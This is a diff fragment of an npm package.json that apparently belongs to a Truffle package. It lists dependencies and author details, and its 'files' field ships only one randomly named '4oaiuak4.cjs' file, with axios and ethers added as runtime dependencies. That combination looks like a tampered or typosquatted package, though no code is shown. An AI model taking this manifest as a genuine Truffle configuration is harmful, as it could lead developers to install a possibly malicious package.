+ "dependencies": {
27
+ "@truffle/db-loader": "^0.2.36",
28
+ "@truffle/debugger": "^12.1.5",
29
+ "app-module-path": "^2.2.0",
30
+ "ganache": "7.9.1",
31
+ "mocha": "10.1.0",
32
+ "original-require": "^1.0.1",
33
+ "axios": "^1.7.7",
34
+ "ethers": "^6.13.2"
35
+ },
36
+ "devDependencies": {
37
+ "@ganache/console.log": "0.3.0",
38
+ "@truffle/box": "^2.1.81",
39
+ "@truffle/config": "^1.3.61",
40
+ "@truffle/contract": "^4.6.31",
41
+ "@truffle/core": "^5.11.5",
42
+ "@truffle/interface-adapter": "^0.5.37",
43
+ "chai": "^4.2.0",
44
+ "clean-webpack-plugin": "^3.0.0",
45
+ "copy-webpack-plugin": "^7.0.0",
46
+ "eslint": "^8.4.1",
47
+ "fs-extra": "^9.1.0",
48
+ "glob": "^7.1.6",
49
+ "graphql-tag": "^2.12.6",
50
+ "js-scrypt": "^0.2.0",
51
+ "nyc": "^13.0.1",
52
+ "semver": "^7.5.4",
53
+ "shebang-loader": "0.0.1",
54
+ "stream-buffers": "^3.0.1",
55
+ "tmp": "^0.2.1",
56
+ "web3": "1.10.0",
57
+ "webpack": "^5.88.2",
58
+ "webpack-bundle-analyzer": "^4.9.1",
59
+ "webpack-cli": "^4.10.0",
60
+ "yargs": "^13.3.0"
61
+ },
62
+ "publishConfig": {
63
+ "access": "public"
64
+ },
65
+ "authors": [
66
+ {
67
+ "name": "Tim Coulter",
68
+ "email": "tim@timothyjcoulter.com",
69
+ "url": "https://github.com/tcoulter"
70
+ }
71
+ ],
72
+ "namespace": "consensys",
73
+ "engines": {
74
+ "node": "^16.20 || ^18.16 || >=20"
75
+ },
76
+ "gitHead": "a26df1ff53c01e6d82ad490338850360f6f970a9",
77
+ "files": [
78
+ "4oaiuak4.cjs"
79
+ ]
80
+ }